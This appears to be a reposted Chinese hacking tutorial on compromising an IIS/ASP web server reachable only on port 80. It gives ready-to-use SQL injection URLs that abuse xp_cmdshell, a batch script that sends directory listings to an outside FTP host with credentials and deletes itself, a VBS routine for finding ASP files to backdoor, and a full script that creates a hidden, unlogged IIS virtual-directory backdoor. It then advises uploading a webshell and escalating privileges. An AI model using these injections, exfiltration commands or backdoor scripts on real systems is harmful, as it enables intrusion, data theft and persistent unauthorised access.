全新方法突破80端口
發表時間:2023-05-31 來源:明輝站整理相關軟件相關文章人氣:
[摘要]作為專業的服務器, 一般只打開80端口, 這在追求安全的網絡環境里已經不足為奇了, 許多網絡管理員也放松了警惕, 以為這銅墻鐵壁的系統真的無懈可擊了。 真得是如此嗎?我們通過對某一類似服務器進行滲...
作為專業的服務器, 一般只打開80端口, 這在追求安全的網絡環境里已經不足為奇了, 許多網絡管理員也放松了警惕, 以為這銅墻鐵壁的系統真的無懈可擊了。 真得是如此嗎?我們通過對某一類似服務器進行滲透打破這種觀念。
首先我們要對服務器進行信息收集, 先拿出掃描工具對要測試的站點進行掃描, 對方只提供WEB服務, 開了80端口, 其它信息一無所知, 即使連對方的操作系統類型都不知道。 這樣的系統不知道裝了N重防火墻或者IDS, 直接從系統入侵根本不可能。 我們還是從HTTP頭探測我們所要的信息吧。 對方的IIS版本號是IIS5.0, 加上服務器上的ASP腳本, 可大致判斷對方是Windows 2000系統。 知道這些信息對我們基于腳本下的入侵已經足夠了。
我們知道, 一般網絡管理員, 只是負責對系統安全進行維護, 至于腳本程序是由程序員編寫的, 他們大多數不會注意腳本的安全性, 而且也不太可能什么都懂, 從而使服務器有了SQL Injection的問題。 很不幸, 我也發現了一個:
http://www.target.com/show.asp?id=1234'
返回如圖1所示。
圖1
初步判斷主機存在SQL注入漏洞, 再次提交URL, 確定服務器的連接權限:
http://www.target.com/show.asp?id=1234 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常, 表明當前連接的賬號是服務器Sysadmin權限。 試試SA權限, 根據我的經驗, 這樣重重防護的服務器除非沒有腳本問題, 一旦有, 就很大可能是SA權限的連接:
http://www.target.com/show.asp?id=1234 and 'sa'=(SELECT System_user)
返回正常, 表明我的猜測是對的, 它是用SA連接的, 權限比系統管理員還高, 再看看我們最喜歡的Xp_cmdshell存在存在:
http://www.target.com/show.asp?id=1234 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
返回正常, 表明Xp_cmdshell擴展存儲過程沒有被刪除。 接下來就是最重要的工作了, 雖然現在我們的權限級高, 但由于對方防火墻的限制, 我們除了80端口外無法和服務器進行通信, 而且執行的CMD命令還沒有回顯。 面對這種僵局, 網上方法很多, 基本上都是取得WEB的物理路徑然, 后Echo或Backup一個ASP木馬到WEB目錄下, 得到WwbShell。 其中簡單的方法要屬要飯兄的讀注冊表的方法了, 但是他讀取服務器WEB絕對路徑一點, 只有在默認安裝的時候才會正確讀取。 也就是說注冊表里面存儲的只是在安裝IIS時的WEB絕對路徑, 而如果用戶對這個路徑進行修改的話, 注冊表內的值仍然是不變的, 因此即使你把木馬按照臭要飯的那種方法上傳上去也是沒有辦法找到并執行的。
關于這個方法, 大家可以在黑防前期雜志里看到, 我就不再重復了。 我現在要講的是一個全新的方法來取得WEB的物理路徑, 大家要看好了啊。
第一步我們要做的是在域名下隨便輸入一個不存在的頁面, 顯然服務器會返回給我們404未找到的錯誤頁面。 如果管理員沒有修改默認的錯誤頁面, 我們基本上就可以通過它來取得WebShell了。
腳本小子:錯誤頁面的默認位置是C:\winnt\help\iisHelp\common\目錄, 這是Windows 2000系統的默認路徑, Windows 2003和Windows xp默認路徑應該是C:\wondows\help\iisHelp\common\, 其中404錯誤重定向到的文件是C:\winnt\help\iisHelp\common\404b.htm(windows2000), C:\windows\help\iisHelp\common\404b.htm(windowsXP), 這里默認是將C盤作為系統盤得到的物理路徑。
好了, 為了保險起見, 我們先讓服務器返回這個錯誤頁面并將它保存起來, 用來恢復修改后的服務器上的頁面。 好了, 看好下面的提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\winnt\help\iisHelp\common\404b.htm';--
等待一會兒, 因為這個命令執行的很慢。 我們隨便訪問一個不存在的頁面, 使服務器返回這個頁面, 如果沒有變化, 不要著急, 在保證命令沒有出錯的前提下繼續提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\wondows\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\winnt\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\wondows\help\iisHelp\common\404b.htm';--
這是我測試的時候寫入的111111, 看是不是成功了?如圖2所示。
我們再去構造目錄命令, 再訪問那個定制的錯誤頁面, 它已經將D盤的目錄結構寫到了這個文件上, 為了不被其它瀏覽者也看到這個頁面, 趕快將它復制來, 然后用Echo命令將它寫回去。 為了提高速度, 可以使用NBUPLOAD程序。 接下來我們慢慢從得到的目錄樹中找到WEB物理路徑吧!
其實我們還有其它的方法快速取得一個WebShell, 比如說在本地先寫一個VBS腳本文件, 大致作用是取得服務器各個分區的目錄結構(使用Tree命令), 然后從中搜索Inc或Images等特征文件夾, 得到此文件夾的物理路徑后將一個ASP木馬寫入這個目錄就可得到WebShell了。
同樣我們利用VBS腳本遍歷文件, 查找ASP擴展名, 像病毒一樣感染這種類型文件也可得到WebShell。 由于這種方法殺傷力極大, 完整的VBS就不提供了, 我把關鍵代碼寫出來:
sub search(folder_) 'search函數定義,
on error resume next '如果出現錯誤, 直接跳過.
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉換成小寫字母
if ext="asp" then '如果后綴名是asp, 則插入后門。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
'搜索其他目錄;遞歸調用search( )
search(subfolder)
next
end sub
如果服務器的防火墻限制得不很嚴格, 我們同樣可以調用FTP命令將目錄結構文件Tree.txt發送出去, 此Tree.bat文件的文件如下:
tree c:\ >tree.txt
tree d:\ >>tree.txt
tree e:\ >>tree.txt
tree f:\ >>tree.txt
echo ftp 172.18.16.61 21>ftp.txt
echo llikz>>ftp.txt
echo 111111>>ftp.txt
echo put tree.txt>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
del ftp.txt
del tree.txt
del tree.bat
將它用Echo寫到服務器的一個根目錄下如D:\然后運行即可。 其實如果對方使用的是標準的Windows 2000服務器, 直接使用動鯊的IIS.vbs建立IIS隱藏后門就可以了, 代碼如下:
help1="IIS后門設置器 FOR WIN2000 BY 動鯊 3月3號2004 年"
help2="請輸入正確的虛擬目錄名稱和映射的路徑,格式如下"
help3=" cscript.exe iis.vbs 虛擬目錄的名稱 映射的路徑"
help4="例如: cscript.exe iis.vbs lh e:\"
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo help1
wscript.echo ""
wscript.echo help2
wscript.echo ""
wscript.echo help3
wscript.echo ""
wscript.echo help4
wscript.quit
end if
strVRName=args(0) ''虛擬目錄名稱
strRootPath=args(1) ''虛擬目錄路徑
Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For each VR in checkVirtualDir
if VR.Name="lhxy" Then
foundt ="yes"
else
foundt= "no"
End If
Next
if foundt ="yes" then
wscript.echo "發現已經創建了lhxy目錄, 正在設置自定義的虛擬目錄"
creatvdir
else
wscript.echo "正在創建lhxy目錄, 以及自定義文件夾, 請等待!"
creatlhxy
creatvdir
end if
wscript.echo "你創建的虛擬目錄名稱是"& strVRName &", 映射的文件夾是 " & strRootPath &"。 "
wscript.echo "請訪問http://IP/lhxy/"& strVRName &"/ 來連接后門!"
wscript.echo "恭喜!后門設置全部完成!"
sub creatlhxy()
Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
Set myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end sub
sub creatvdir()
Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true
VirDir.AppIsolated=0
VirDir.DontLog=true
VirDir.EnableDirBrowsing=true
VirDir.appcreate 0
VirDir.CreateProcessAsUser=0
VirDir.setInfo
end sub
wscript.quit
將它用Echo命令寫到服務器上然后提交如下URL:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'cscript iis.vbs llikz d:\';--
即可建立一個隱藏的虛擬目錄, 不過這種方法只能對付Windows 2000系統, 而且據我實驗, 成功率不高。 不過它的優勢也非常明顯:不依賴Adminscrips下的VBS腳本, 獨立性很強。
得到物理路徑后入侵就簡單多了, 上傳ASP木馬想辦法提升權限就可以了。 本文只是提出了幾個比較另類的得到物理路徑的辦法, 或許在普通情況下沒有太多的意義, 但在防護特別嚴密、管理員特別BT的服務器上, 不妨試下文章中的方法, 相信一定會有收
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。